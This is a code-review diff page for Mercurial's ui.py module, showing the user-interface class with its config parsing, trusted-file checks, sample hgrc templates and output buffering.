##// END OF EJS Templates
ui: inline util.bytesinput() into ui._readline()...
Yuya Nishihara -
r36809:30742c21 default
parent child Browse files
Show More
@@ -1,1851 +1,1857
1 1 # ui.py - user interface bits for mercurial
2 2 #
3 3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import collections
11 11 import contextlib
12 12 import errno
13 13 import getpass
14 14 import inspect
15 15 import os
16 16 import re
17 17 import signal
18 18 import socket
19 19 import subprocess
20 20 import sys
21 21 import tempfile
22 22 import traceback
23 23
24 24 from .i18n import _
25 25 from .node import hex
26 26
27 27 from . import (
28 28 color,
29 29 config,
30 30 configitems,
31 31 encoding,
32 32 error,
33 33 formatter,
34 34 progress,
35 35 pycompat,
36 36 rcutil,
37 37 scmutil,
38 38 util,
39 39 )
40 40 from .utils import dateutil
41 41
42 42 urlreq = util.urlreq
43 43
44 44 # for use with str.translate(None, _keepalnum), to keep just alphanumerics
45 45 _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
46 46 if not c.isalnum())
47 47
48 48 # The config knobs that will be altered (if unset) by ui.tweakdefaults.
49 49 tweakrc = b"""
50 50 [ui]
51 51 # The rollback command is dangerous. As a rule, don't use it.
52 52 rollback = False
53 53 # Make `hg status` report copy information
54 54 statuscopies = yes
55 55 # Prefer curses UIs when available. Revert to plain-text with `text`.
56 56 interface = curses
57 57
58 58 [commands]
59 59 # Make `hg status` emit cwd-relative paths by default.
60 60 status.relative = yes
61 61 # Refuse to perform an `hg update` that would cause a file content merge
62 62 update.check = noconflict
63 63
64 64 [diff]
65 65 git = 1
66 66 showfunc = 1
67 67 """
68 68
69 69 samplehgrcs = {
70 70 'user':
71 71 b"""# example user config (see 'hg help config' for more info)
72 72 [ui]
73 73 # name and email, e.g.
74 74 # username = Jane Doe <jdoe@example.com>
75 75 username =
76 76
77 77 # We recommend enabling tweakdefaults to get slight improvements to
78 78 # the UI over time. Make sure to set HGPLAIN in the environment when
79 79 # writing scripts!
80 80 # tweakdefaults = True
81 81
82 82 # uncomment to disable color in command output
83 83 # (see 'hg help color' for details)
84 84 # color = never
85 85
86 86 # uncomment to disable command output pagination
87 87 # (see 'hg help pager' for details)
88 88 # paginate = never
89 89
90 90 [extensions]
91 91 # uncomment these lines to enable some popular extensions
92 92 # (see 'hg help extensions' for more info)
93 93 #
94 94 # churn =
95 95 """,
96 96
97 97 'cloned':
98 98 b"""# example repository config (see 'hg help config' for more info)
99 99 [paths]
100 100 default = %s
101 101
102 102 # path aliases to other clones of this repo in URLs or filesystem paths
103 103 # (see 'hg help config.paths' for more info)
104 104 #
105 105 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
106 106 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
107 107 # my-clone = /home/jdoe/jdoes-clone
108 108
109 109 [ui]
110 110 # name and email (local to this repository, optional), e.g.
111 111 # username = Jane Doe <jdoe@example.com>
112 112 """,
113 113
114 114 'local':
115 115 b"""# example repository config (see 'hg help config' for more info)
116 116 [paths]
117 117 # path aliases to other clones of this repo in URLs or filesystem paths
118 118 # (see 'hg help config.paths' for more info)
119 119 #
120 120 # default = http://example.com/hg/example-repo
121 121 # default:pushurl = ssh://jdoe@example.net/hg/jdoes-fork
122 122 # my-fork = ssh://jdoe@example.net/hg/jdoes-fork
123 123 # my-clone = /home/jdoe/jdoes-clone
124 124
125 125 [ui]
126 126 # name and email (local to this repository, optional), e.g.
127 127 # username = Jane Doe <jdoe@example.com>
128 128 """,
129 129
130 130 'global':
131 131 b"""# example system-wide hg config (see 'hg help config' for more info)
132 132
133 133 [ui]
134 134 # uncomment to disable color in command output
135 135 # (see 'hg help color' for details)
136 136 # color = never
137 137
138 138 # uncomment to disable command output pagination
139 139 # (see 'hg help pager' for details)
140 140 # paginate = never
141 141
142 142 [extensions]
143 143 # uncomment these lines to enable some popular extensions
144 144 # (see 'hg help extensions' for more info)
145 145 #
146 146 # blackbox =
147 147 # churn =
148 148 """,
149 149 }
150 150
151 151 def _maybestrurl(maybebytes):
152 152 return util.rapply(pycompat.strurl, maybebytes)
153 153
154 154 def _maybebytesurl(maybestr):
155 155 return util.rapply(pycompat.bytesurl, maybestr)
156 156
157 157 class httppasswordmgrdbproxy(object):
158 158 """Delays loading urllib2 until it's needed."""
159 159 def __init__(self):
160 160 self._mgr = None
161 161
162 162 def _get_mgr(self):
163 163 if self._mgr is None:
164 164 self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
165 165 return self._mgr
166 166
167 167 def add_password(self, realm, uris, user, passwd):
168 168 return self._get_mgr().add_password(
169 169 _maybestrurl(realm), _maybestrurl(uris),
170 170 _maybestrurl(user), _maybestrurl(passwd))
171 171
172 172 def find_user_password(self, realm, uri):
173 173 mgr = self._get_mgr()
174 174 return _maybebytesurl(mgr.find_user_password(_maybestrurl(realm),
175 175 _maybestrurl(uri)))
176 176
177 177 def _catchterm(*args):
178 178 raise error.SignalInterrupt
179 179
180 180 # unique object used to detect no default value has been provided when
181 181 # retrieving configuration value.
182 182 _unset = object()
183 183
184 184 # _reqexithandlers: callbacks run at the end of a request
185 185 _reqexithandlers = []
186 186
187 187 class ui(object):
188 188 def __init__(self, src=None):
189 189 """Create a fresh new ui object if no src given
190 190
191 191 Use uimod.ui.load() to create a ui which knows global and user configs.
192 192 In most cases, you should use ui.copy() to create a copy of an existing
193 193 ui object.
194 194 """
195 195 # _buffers: used for temporary capture of output
196 196 self._buffers = []
197 197 # 3-tuple describing how each buffer in the stack behaves.
198 198 # Values are (capture stderr, capture subprocesses, apply labels).
199 199 self._bufferstates = []
200 200 # When a buffer is active, defines whether we are expanding labels.
201 201 # This exists to prevent an extra list lookup.
202 202 self._bufferapplylabels = None
203 203 self.quiet = self.verbose = self.debugflag = self.tracebackflag = False
204 204 self._reportuntrusted = True
205 205 self._knownconfig = configitems.coreitems
206 206 self._ocfg = config.config() # overlay
207 207 self._tcfg = config.config() # trusted
208 208 self._ucfg = config.config() # untrusted
209 209 self._trustusers = set()
210 210 self._trustgroups = set()
211 211 self.callhooks = True
212 212 # Insecure server connections requested.
213 213 self.insecureconnections = False
214 214 # Blocked time
215 215 self.logblockedtimes = False
216 216 # color mode: see mercurial/color.py for possible value
217 217 self._colormode = None
218 218 self._terminfoparams = {}
219 219 self._styles = {}
220 220
221 221 if src:
222 222 self.fout = src.fout
223 223 self.ferr = src.ferr
224 224 self.fin = src.fin
225 225 self.pageractive = src.pageractive
226 226 self._disablepager = src._disablepager
227 227 self._tweaked = src._tweaked
228 228
229 229 self._tcfg = src._tcfg.copy()
230 230 self._ucfg = src._ucfg.copy()
231 231 self._ocfg = src._ocfg.copy()
232 232 self._trustusers = src._trustusers.copy()
233 233 self._trustgroups = src._trustgroups.copy()
234 234 self.environ = src.environ
235 235 self.callhooks = src.callhooks
236 236 self.insecureconnections = src.insecureconnections
237 237 self._colormode = src._colormode
238 238 self._terminfoparams = src._terminfoparams.copy()
239 239 self._styles = src._styles.copy()
240 240
241 241 self.fixconfig()
242 242
243 243 self.httppasswordmgrdb = src.httppasswordmgrdb
244 244 self._blockedtimes = src._blockedtimes
245 245 else:
246 246 self.fout = util.stdout
247 247 self.ferr = util.stderr
248 248 self.fin = util.stdin
249 249 self.pageractive = False
250 250 self._disablepager = False
251 251 self._tweaked = False
252 252
253 253 # shared read-only environment
254 254 self.environ = encoding.environ
255 255
256 256 self.httppasswordmgrdb = httppasswordmgrdbproxy()
257 257 self._blockedtimes = collections.defaultdict(int)
258 258
259 259 allowed = self.configlist('experimental', 'exportableenviron')
260 260 if '*' in allowed:
261 261 self._exportableenviron = self.environ
262 262 else:
263 263 self._exportableenviron = {}
264 264 for k in allowed:
265 265 if k in self.environ:
266 266 self._exportableenviron[k] = self.environ[k]
267 267
268 268 @classmethod
269 269 def load(cls):
270 270 """Create a ui and load global and user configs"""
271 271 u = cls()
272 272 # we always trust global config files and environment variables
273 273 for t, f in rcutil.rccomponents():
274 274 if t == 'path':
275 275 u.readconfig(f, trust=True)
276 276 elif t == 'items':
277 277 sections = set()
278 278 for section, name, value, source in f:
279 279 # do not set u._ocfg
280 280 # XXX clean this up once immutable config object is a thing
281 281 u._tcfg.set(section, name, value, source)
282 282 u._ucfg.set(section, name, value, source)
283 283 sections.add(section)
284 284 for section in sections:
285 285 u.fixconfig(section=section)
286 286 else:
287 287 raise error.ProgrammingError('unknown rctype: %s' % t)
288 288 u._maybetweakdefaults()
289 289 return u
290 290
291 291 def _maybetweakdefaults(self):
292 292 if not self.configbool('ui', 'tweakdefaults'):
293 293 return
294 294 if self._tweaked or self.plain('tweakdefaults'):
295 295 return
296 296
297 297 # Note: it is SUPER IMPORTANT that you set self._tweaked to
298 298 # True *before* any calls to setconfig(), otherwise you'll get
299 299 # infinite recursion between setconfig and this method.
300 300 #
301 301 # TODO: We should extract an inner method in setconfig() to
302 302 # avoid this weirdness.
303 303 self._tweaked = True
304 304 tmpcfg = config.config()
305 305 tmpcfg.parse('<tweakdefaults>', tweakrc)
306 306 for section in tmpcfg:
307 307 for name, value in tmpcfg.items(section):
308 308 if not self.hasconfig(section, name):
309 309 self.setconfig(section, name, value, "<tweakdefaults>")
310 310
311 311 def copy(self):
312 312 return self.__class__(self)
313 313
314 314 def resetstate(self):
315 315 """Clear internal state that shouldn't persist across commands"""
316 316 if self._progbar:
317 317 self._progbar.resetstate() # reset last-print time of progress bar
318 318 self.httppasswordmgrdb = httppasswordmgrdbproxy()
319 319
320 320 @contextlib.contextmanager
321 321 def timeblockedsection(self, key):
322 322 # this is open-coded below - search for timeblockedsection to find them
323 323 starttime = util.timer()
324 324 try:
325 325 yield
326 326 finally:
327 327 self._blockedtimes[key + '_blocked'] += \
328 328 (util.timer() - starttime) * 1000
329 329
330 330 def formatter(self, topic, opts):
331 331 return formatter.formatter(self, self, topic, opts)
332 332
333 333 def _trusted(self, fp, f):
334 334 st = util.fstat(fp)
335 335 if util.isowner(st):
336 336 return True
337 337
338 338 tusers, tgroups = self._trustusers, self._trustgroups
339 339 if '*' in tusers or '*' in tgroups:
340 340 return True
341 341
342 342 user = util.username(st.st_uid)
343 343 group = util.groupname(st.st_gid)
344 344 if user in tusers or group in tgroups or user == util.username():
345 345 return True
346 346
347 347 if self._reportuntrusted:
348 348 self.warn(_('not trusting file %s from untrusted '
349 349 'user %s, group %s\n') % (f, user, group))
350 350 return False
351 351
352 352 def readconfig(self, filename, root=None, trust=False,
353 353 sections=None, remap=None):
354 354 try:
355 355 fp = open(filename, u'rb')
356 356 except IOError:
357 357 if not sections: # ignore unless we were looking for something
358 358 return
359 359 raise
360 360
361 361 cfg = config.config()
362 362 trusted = sections or trust or self._trusted(fp, filename)
363 363
364 364 try:
365 365 cfg.read(filename, fp, sections=sections, remap=remap)
366 366 fp.close()
367 367 except error.ConfigError as inst:
368 368 if trusted:
369 369 raise
370 370 self.warn(_("ignored: %s\n") % util.forcebytestr(inst))
371 371
372 372 if self.plain():
373 373 for k in ('debug', 'fallbackencoding', 'quiet', 'slash',
374 374 'logtemplate', 'statuscopies', 'style',
375 375 'traceback', 'verbose'):
376 376 if k in cfg['ui']:
377 377 del cfg['ui'][k]
378 378 for k, v in cfg.items('defaults'):
379 379 del cfg['defaults'][k]
380 380 for k, v in cfg.items('commands'):
381 381 del cfg['commands'][k]
382 382 # Don't remove aliases from the configuration if in the exceptionlist
383 383 if self.plain('alias'):
384 384 for k, v in cfg.items('alias'):
385 385 del cfg['alias'][k]
386 386 if self.plain('revsetalias'):
387 387 for k, v in cfg.items('revsetalias'):
388 388 del cfg['revsetalias'][k]
389 389 if self.plain('templatealias'):
390 390 for k, v in cfg.items('templatealias'):
391 391 del cfg['templatealias'][k]
392 392
393 393 if trusted:
394 394 self._tcfg.update(cfg)
395 395 self._tcfg.update(self._ocfg)
396 396 self._ucfg.update(cfg)
397 397 self._ucfg.update(self._ocfg)
398 398
399 399 if root is None:
400 400 root = os.path.expanduser('~')
401 401 self.fixconfig(root=root)
402 402
403 403 def fixconfig(self, root=None, section=None):
404 404 if section in (None, 'paths'):
405 405 # expand vars and ~
406 406 # translate paths relative to root (or home) into absolute paths
407 407 root = root or pycompat.getcwd()
408 408 for c in self._tcfg, self._ucfg, self._ocfg:
409 409 for n, p in c.items('paths'):
410 410 # Ignore sub-options.
411 411 if ':' in n:
412 412 continue
413 413 if not p:
414 414 continue
415 415 if '%%' in p:
416 416 s = self.configsource('paths', n) or 'none'
417 417 self.warn(_("(deprecated '%%' in path %s=%s from %s)\n")
418 418 % (n, p, s))
419 419 p = p.replace('%%', '%')
420 420 p = util.expandpath(p)
421 421 if not util.hasscheme(p) and not os.path.isabs(p):
422 422 p = os.path.normpath(os.path.join(root, p))
423 423 c.set("paths", n, p)
424 424
425 425 if section in (None, 'ui'):
426 426 # update ui options
427 427 self.debugflag = self.configbool('ui', 'debug')
428 428 self.verbose = self.debugflag or self.configbool('ui', 'verbose')
429 429 self.quiet = not self.debugflag and self.configbool('ui', 'quiet')
430 430 if self.verbose and self.quiet:
431 431 self.quiet = self.verbose = False
432 432 self._reportuntrusted = self.debugflag or self.configbool("ui",
433 433 "report_untrusted")
434 434 self.tracebackflag = self.configbool('ui', 'traceback')
435 435 self.logblockedtimes = self.configbool('ui', 'logblockedtimes')
436 436
437 437 if section in (None, 'trusted'):
438 438 # update trust information
439 439 self._trustusers.update(self.configlist('trusted', 'users'))
440 440 self._trustgroups.update(self.configlist('trusted', 'groups'))
441 441
442 442 def backupconfig(self, section, item):
443 443 return (self._ocfg.backup(section, item),
444 444 self._tcfg.backup(section, item),
445 445 self._ucfg.backup(section, item),)
446 446 def restoreconfig(self, data):
447 447 self._ocfg.restore(data[0])
448 448 self._tcfg.restore(data[1])
449 449 self._ucfg.restore(data[2])
450 450
451 451 def setconfig(self, section, name, value, source=''):
452 452 for cfg in (self._ocfg, self._tcfg, self._ucfg):
453 453 cfg.set(section, name, value, source)
454 454 self.fixconfig(section=section)
455 455 self._maybetweakdefaults()
456 456
457 457 def _data(self, untrusted):
458 458 return untrusted and self._ucfg or self._tcfg
459 459
460 460 def configsource(self, section, name, untrusted=False):
461 461 return self._data(untrusted).source(section, name)
462 462
463 463 def config(self, section, name, default=_unset, untrusted=False):
464 464 """return the plain string version of a config"""
465 465 value = self._config(section, name, default=default,
466 466 untrusted=untrusted)
467 467 if value is _unset:
468 468 return None
469 469 return value
470 470
471 471 def _config(self, section, name, default=_unset, untrusted=False):
472 472 value = itemdefault = default
473 473 item = self._knownconfig.get(section, {}).get(name)
474 474 alternates = [(section, name)]
475 475
476 476 if item is not None:
477 477 alternates.extend(item.alias)
478 478 if callable(item.default):
479 479 itemdefault = item.default()
480 480 else:
481 481 itemdefault = item.default
482 482 else:
483 483 msg = ("accessing unregistered config item: '%s.%s'")
484 484 msg %= (section, name)
485 485 self.develwarn(msg, 2, 'warn-config-unknown')
486 486
487 487 if default is _unset:
488 488 if item is None:
489 489 value = default
490 490 elif item.default is configitems.dynamicdefault:
491 491 value = None
492 492 msg = "config item requires an explicit default value: '%s.%s'"
493 493 msg %= (section, name)
494 494 self.develwarn(msg, 2, 'warn-config-default')
495 495 else:
496 496 value = itemdefault
497 497 elif (item is not None
498 498 and item.default is not configitems.dynamicdefault
499 499 and default != itemdefault):
500 500 msg = ("specifying a mismatched default value for a registered "
501 501 "config item: '%s.%s' '%s'")
502 502 msg %= (section, name, pycompat.bytestr(default))
503 503 self.develwarn(msg, 2, 'warn-config-default')
504 504
505 505 for s, n in alternates:
506 506 candidate = self._data(untrusted).get(s, n, None)
507 507 if candidate is not None:
508 508 value = candidate
509 509 section = s
510 510 name = n
511 511 break
512 512
513 513 if self.debugflag and not untrusted and self._reportuntrusted:
514 514 for s, n in alternates:
515 515 uvalue = self._ucfg.get(s, n)
516 516 if uvalue is not None and uvalue != value:
517 517 self.debug("ignoring untrusted configuration option "
518 518 "%s.%s = %s\n" % (s, n, uvalue))
519 519 return value
520 520
521 521 def configsuboptions(self, section, name, default=_unset, untrusted=False):
522 522 """Get a config option and all sub-options.
523 523
524 524 Some config options have sub-options that are declared with the
525 525 format "key:opt = value". This method is used to return the main
526 526 option and all its declared sub-options.
527 527
528 528 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
529 529 is a dict of defined sub-options where keys and values are strings.
530 530 """
531 531 main = self.config(section, name, default, untrusted=untrusted)
532 532 data = self._data(untrusted)
533 533 sub = {}
534 534 prefix = '%s:' % name
535 535 for k, v in data.items(section):
536 536 if k.startswith(prefix):
537 537 sub[k[len(prefix):]] = v
538 538
539 539 if self.debugflag and not untrusted and self._reportuntrusted:
540 540 for k, v in sub.items():
541 541 uvalue = self._ucfg.get(section, '%s:%s' % (name, k))
542 542 if uvalue is not None and uvalue != v:
543 543 self.debug('ignoring untrusted configuration option '
544 544 '%s:%s.%s = %s\n' % (section, name, k, uvalue))
545 545
546 546 return main, sub
547 547
548 548 def configpath(self, section, name, default=_unset, untrusted=False):
549 549 'get a path config item, expanded relative to repo root or config file'
550 550 v = self.config(section, name, default, untrusted)
551 551 if v is None:
552 552 return None
553 553 if not os.path.isabs(v) or "://" not in v:
554 554 src = self.configsource(section, name, untrusted)
555 555 if ':' in src:
556 556 base = os.path.dirname(src.rsplit(':')[0])
557 557 v = os.path.join(base, os.path.expanduser(v))
558 558 return v
559 559
560 560 def configbool(self, section, name, default=_unset, untrusted=False):
561 561 """parse a configuration element as a boolean
562 562
563 563 >>> u = ui(); s = b'foo'
564 564 >>> u.setconfig(s, b'true', b'yes')
565 565 >>> u.configbool(s, b'true')
566 566 True
567 567 >>> u.setconfig(s, b'false', b'no')
568 568 >>> u.configbool(s, b'false')
569 569 False
570 570 >>> u.configbool(s, b'unknown')
571 571 False
572 572 >>> u.configbool(s, b'unknown', True)
573 573 True
574 574 >>> u.setconfig(s, b'invalid', b'somevalue')
575 575 >>> u.configbool(s, b'invalid')
576 576 Traceback (most recent call last):
577 577 ...
578 578 ConfigError: foo.invalid is not a boolean ('somevalue')
579 579 """
580 580
581 581 v = self._config(section, name, default, untrusted=untrusted)
582 582 if v is None:
583 583 return v
584 584 if v is _unset:
585 585 if default is _unset:
586 586 return False
587 587 return default
588 588 if isinstance(v, bool):
589 589 return v
590 590 b = util.parsebool(v)
591 591 if b is None:
592 592 raise error.ConfigError(_("%s.%s is not a boolean ('%s')")
593 593 % (section, name, v))
594 594 return b
595 595
596 596 def configwith(self, convert, section, name, default=_unset,
597 597 desc=None, untrusted=False):
598 598 """parse a configuration element with a conversion function
599 599
600 600 >>> u = ui(); s = b'foo'
601 601 >>> u.setconfig(s, b'float1', b'42')
602 602 >>> u.configwith(float, s, b'float1')
603 603 42.0
604 604 >>> u.setconfig(s, b'float2', b'-4.25')
605 605 >>> u.configwith(float, s, b'float2')
606 606 -4.25
607 607 >>> u.configwith(float, s, b'unknown', 7)
608 608 7.0
609 609 >>> u.setconfig(s, b'invalid', b'somevalue')
610 610 >>> u.configwith(float, s, b'invalid')
611 611 Traceback (most recent call last):
612 612 ...
613 613 ConfigError: foo.invalid is not a valid float ('somevalue')
614 614 >>> u.configwith(float, s, b'invalid', desc=b'womble')
615 615 Traceback (most recent call last):
616 616 ...
617 617 ConfigError: foo.invalid is not a valid womble ('somevalue')
618 618 """
619 619
620 620 v = self.config(section, name, default, untrusted)
621 621 if v is None:
622 622 return v # do not attempt to convert None
623 623 try:
624 624 return convert(v)
625 625 except (ValueError, error.ParseError):
626 626 if desc is None:
627 627 desc = pycompat.sysbytes(convert.__name__)
628 628 raise error.ConfigError(_("%s.%s is not a valid %s ('%s')")
629 629 % (section, name, desc, v))
630 630
631 631 def configint(self, section, name, default=_unset, untrusted=False):
632 632 """parse a configuration element as an integer
633 633
634 634 >>> u = ui(); s = b'foo'
635 635 >>> u.setconfig(s, b'int1', b'42')
636 636 >>> u.configint(s, b'int1')
637 637 42
638 638 >>> u.setconfig(s, b'int2', b'-42')
639 639 >>> u.configint(s, b'int2')
640 640 -42
641 641 >>> u.configint(s, b'unknown', 7)
642 642 7
643 643 >>> u.setconfig(s, b'invalid', b'somevalue')
644 644 >>> u.configint(s, b'invalid')
645 645 Traceback (most recent call last):
646 646 ...
647 647 ConfigError: foo.invalid is not a valid integer ('somevalue')
648 648 """
649 649
650 650 return self.configwith(int, section, name, default, 'integer',
651 651 untrusted)
652 652
653 653 def configbytes(self, section, name, default=_unset, untrusted=False):
654 654 """parse a configuration element as a quantity in bytes
655 655
656 656 Units can be specified as b (bytes), k or kb (kilobytes), m or
657 657 mb (megabytes), g or gb (gigabytes).
658 658
659 659 >>> u = ui(); s = b'foo'
660 660 >>> u.setconfig(s, b'val1', b'42')
661 661 >>> u.configbytes(s, b'val1')
662 662 42
663 663 >>> u.setconfig(s, b'val2', b'42.5 kb')
664 664 >>> u.configbytes(s, b'val2')
665 665 43520
666 666 >>> u.configbytes(s, b'unknown', b'7 MB')
667 667 7340032
668 668 >>> u.setconfig(s, b'invalid', b'somevalue')
669 669 >>> u.configbytes(s, b'invalid')
670 670 Traceback (most recent call last):
671 671 ...
672 672 ConfigError: foo.invalid is not a byte quantity ('somevalue')
673 673 """
674 674
675 675 value = self._config(section, name, default, untrusted)
676 676 if value is _unset:
677 677 if default is _unset:
678 678 default = 0
679 679 value = default
680 680 if not isinstance(value, bytes):
681 681 return value
682 682 try:
683 683 return util.sizetoint(value)
684 684 except error.ParseError:
685 685 raise error.ConfigError(_("%s.%s is not a byte quantity ('%s')")
686 686 % (section, name, value))
687 687
688 688 def configlist(self, section, name, default=_unset, untrusted=False):
689 689 """parse a configuration element as a list of comma/space separated
690 690 strings
691 691
692 692 >>> u = ui(); s = b'foo'
693 693 >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
694 694 >>> u.configlist(s, b'list1')
695 695 ['this', 'is', 'a small', 'test']
696 696 >>> u.setconfig(s, b'list2', b'this, is "a small" , test ')
697 697 >>> u.configlist(s, b'list2')
698 698 ['this', 'is', 'a small', 'test']
699 699 """
700 700 # default is not always a list
701 701 v = self.configwith(config.parselist, section, name, default,
702 702 'list', untrusted)
703 703 if isinstance(v, bytes):
704 704 return config.parselist(v)
705 705 elif v is None:
706 706 return []
707 707 return v
708 708
709 709 def configdate(self, section, name, default=_unset, untrusted=False):
710 710 """parse a configuration element as a tuple of ints
711 711
712 712 >>> u = ui(); s = b'foo'
713 713 >>> u.setconfig(s, b'date', b'0 0')
714 714 >>> u.configdate(s, b'date')
715 715 (0, 0)
716 716 """
717 717 if self.config(section, name, default, untrusted):
718 718 return self.configwith(dateutil.parsedate, section, name, default,
719 719 'date', untrusted)
720 720 if default is _unset:
721 721 return None
722 722 return default
723 723
724 724 def hasconfig(self, section, name, untrusted=False):
725 725 return self._data(untrusted).hasitem(section, name)
726 726
727 727 def has_section(self, section, untrusted=False):
728 728 '''tell whether section exists in config.'''
729 729 return section in self._data(untrusted)
730 730
731 731 def configitems(self, section, untrusted=False, ignoresub=False):
732 732 items = self._data(untrusted).items(section)
733 733 if ignoresub:
734 734 newitems = {}
735 735 for k, v in items:
736 736 if ':' not in k:
737 737 newitems[k] = v
738 738 items = list(newitems.iteritems())
739 739 if self.debugflag and not untrusted and self._reportuntrusted:
740 740 for k, v in self._ucfg.items(section):
741 741 if self._tcfg.get(section, k) != v:
742 742 self.debug("ignoring untrusted configuration option "
743 743 "%s.%s = %s\n" % (section, k, v))
744 744 return items
745 745
746 746 def walkconfig(self, untrusted=False):
747 747 cfg = self._data(untrusted)
748 748 for section in cfg.sections():
749 749 for name, value in self.configitems(section, untrusted):
750 750 yield section, name, value
751 751
752 752 def plain(self, feature=None):
753 753 '''is plain mode active?
754 754
755 755 Plain mode means that all configuration variables which affect
756 756 the behavior and output of Mercurial should be
757 757 ignored. Additionally, the output should be stable,
758 758 reproducible and suitable for use in scripts or applications.
759 759
760 760 The only way to trigger plain mode is by setting either the
761 761 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
762 762
763 763 The return value can either be
764 764 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
765 765 - False if feature is disabled by default and not included in HGPLAIN
766 766 - True otherwise
767 767 '''
768 768 if ('HGPLAIN' not in encoding.environ and
769 769 'HGPLAINEXCEPT' not in encoding.environ):
770 770 return False
771 771 exceptions = encoding.environ.get('HGPLAINEXCEPT',
772 772 '').strip().split(',')
773 773 # TODO: add support for HGPLAIN=+feature,-feature syntax
774 774 if '+strictflags' not in encoding.environ.get('HGPLAIN', '').split(','):
775 775 exceptions.append('strictflags')
776 776 if feature and exceptions:
777 777 return feature not in exceptions
778 778 return True
779 779
780 780 def username(self, acceptempty=False):
781 781 """Return default username to be used in commits.
782 782
783 783 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
784 784 and stop searching if one of these is set.
785 785 If not found and acceptempty is True, returns None.
786 786 If not found and ui.askusername is True, ask the user, else use
787 787 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
788 788 If no username could be found, raise an Abort error.
789 789 """
790 790 user = encoding.environ.get("HGUSER")
791 791 if user is None:
792 792 user = self.config("ui", "username")
793 793 if user is not None:
794 794 user = os.path.expandvars(user)
795 795 if user is None:
796 796 user = encoding.environ.get("EMAIL")
797 797 if user is None and acceptempty:
798 798 return user
799 799 if user is None and self.configbool("ui", "askusername"):
800 800 user = self.prompt(_("enter a commit username:"), default=None)
801 801 if user is None and not self.interactive():
802 802 try:
803 803 user = '%s@%s' % (util.getuser(),
804 804 encoding.strtolocal(socket.getfqdn()))
805 805 self.warn(_("no username found, using '%s' instead\n") % user)
806 806 except KeyError:
807 807 pass
808 808 if not user:
809 809 raise error.Abort(_('no username supplied'),
810 810 hint=_("use 'hg config --edit' "
811 811 'to set your username'))
812 812 if "\n" in user:
813 813 raise error.Abort(_("username %r contains a newline\n")
814 814 % pycompat.bytestr(user))
815 815 return user
816 816
817 817 def shortuser(self, user):
818 818 """Return a short representation of a user name or email address."""
819 819 if not self.verbose:
820 820 user = util.shortuser(user)
821 821 return user
822 822
823 823 def expandpath(self, loc, default=None):
824 824 """Return repository location relative to cwd or from [paths]"""
825 825 try:
826 826 p = self.paths.getpath(loc)
827 827 if p:
828 828 return p.rawloc
829 829 except error.RepoError:
830 830 pass
831 831
832 832 if default:
833 833 try:
834 834 p = self.paths.getpath(default)
835 835 if p:
836 836 return p.rawloc
837 837 except error.RepoError:
838 838 pass
839 839
840 840 return loc
841 841
842 842 @util.propertycache
843 843 def paths(self):
844 844 return paths(self)
845 845
846 846 def pushbuffer(self, error=False, subproc=False, labeled=False):
847 847 """install a buffer to capture standard output of the ui object
848 848
849 849 If error is True, the error output will be captured too.
850 850
851 851 If subproc is True, output from subprocesses (typically hooks) will be
852 852 captured too.
853 853
854 854 If labeled is True, any labels associated with buffered
855 855 output will be handled. By default, this has no effect
856 856 on the output returned, but extensions and GUI tools may
857 857 handle this argument and returned styled output. If output
858 858 is being buffered so it can be captured and parsed or
859 859 processed, labeled should not be set to True.
860 860 """
861 861 self._buffers.append([])
862 862 self._bufferstates.append((error, subproc, labeled))
863 863 self._bufferapplylabels = labeled
864 864
865 865 def popbuffer(self):
866 866 '''pop the last buffer and return the buffered output'''
867 867 self._bufferstates.pop()
868 868 if self._bufferstates:
869 869 self._bufferapplylabels = self._bufferstates[-1][2]
870 870 else:
871 871 self._bufferapplylabels = None
872 872
873 873 return "".join(self._buffers.pop())
874 874
875 875 def canwritewithoutlabels(self):
876 876 '''check if write skips the label'''
877 877 if self._buffers and not self._bufferapplylabels:
878 878 return True
879 879 return self._colormode is None
880 880
881 881 def canbatchlabeledwrites(self):
882 882 '''check if write calls with labels are batchable'''
883 883 # Windows color printing is special, see ``write``.
884 884 return self._colormode != 'win32'
885 885
886 886 def write(self, *args, **opts):
887 887 '''write args to output
888 888
889 889 By default, this method simply writes to the buffer or stdout.
890 890 Color mode can be set on the UI class to have the output decorated
891 891 with color modifier before being written to stdout.
892 892
893 893 The color used is controlled by an optional keyword argument, "label".
894 894 This should be a string containing label names separated by space.
895 895 Label names take the form of "topic.type". For example, ui.debug()
896 896 issues a label of "ui.debug".
897 897
898 898 When labeling output for a specific command, a label of
899 899 "cmdname.type" is recommended. For example, status issues
900 900 a label of "status.modified" for modified files.
901 901 '''
902 902 if self._buffers:
903 903 if self._bufferapplylabels:
904 904 label = opts.get(r'label', '')
905 905 self._buffers[-1].extend(self.label(a, label) for a in args)
906 906 else:
907 907 self._buffers[-1].extend(args)
908 908 else:
909 909 self._writenobuf(*args, **opts)
910 910
911 911 def _writenobuf(self, *args, **opts):
912 912 if self._colormode == 'win32':
913 913 # windows color printing is its own can of crab, defer to
914 914 # the color module and that is it.
915 915 color.win32print(self, self._write, *args, **opts)
916 916 else:
917 917 msgs = args
918 918 if self._colormode is not None:
919 919 label = opts.get(r'label', '')
920 920 msgs = [self.label(a, label) for a in args]
921 921 self._write(*msgs, **opts)
922 922
923 923 def _write(self, *msgs, **opts):
924 924 self._progclear()
925 925 # opencode timeblockedsection because this is a critical path
926 926 starttime = util.timer()
927 927 try:
928 928 self.fout.write(''.join(msgs))
929 929 except IOError as err:
930 930 raise error.StdioError(err)
931 931 finally:
932 932 self._blockedtimes['stdio_blocked'] += \
933 933 (util.timer() - starttime) * 1000
934 934
935 935 def write_err(self, *args, **opts):
936 936 self._progclear()
937 937 if self._bufferstates and self._bufferstates[-1][0]:
938 938 self.write(*args, **opts)
939 939 elif self._colormode == 'win32':
940 940 # windows color printing is its own can of crab, defer to
941 941 # the color module and that is it.
942 942 color.win32print(self, self._write_err, *args, **opts)
943 943 else:
944 944 msgs = args
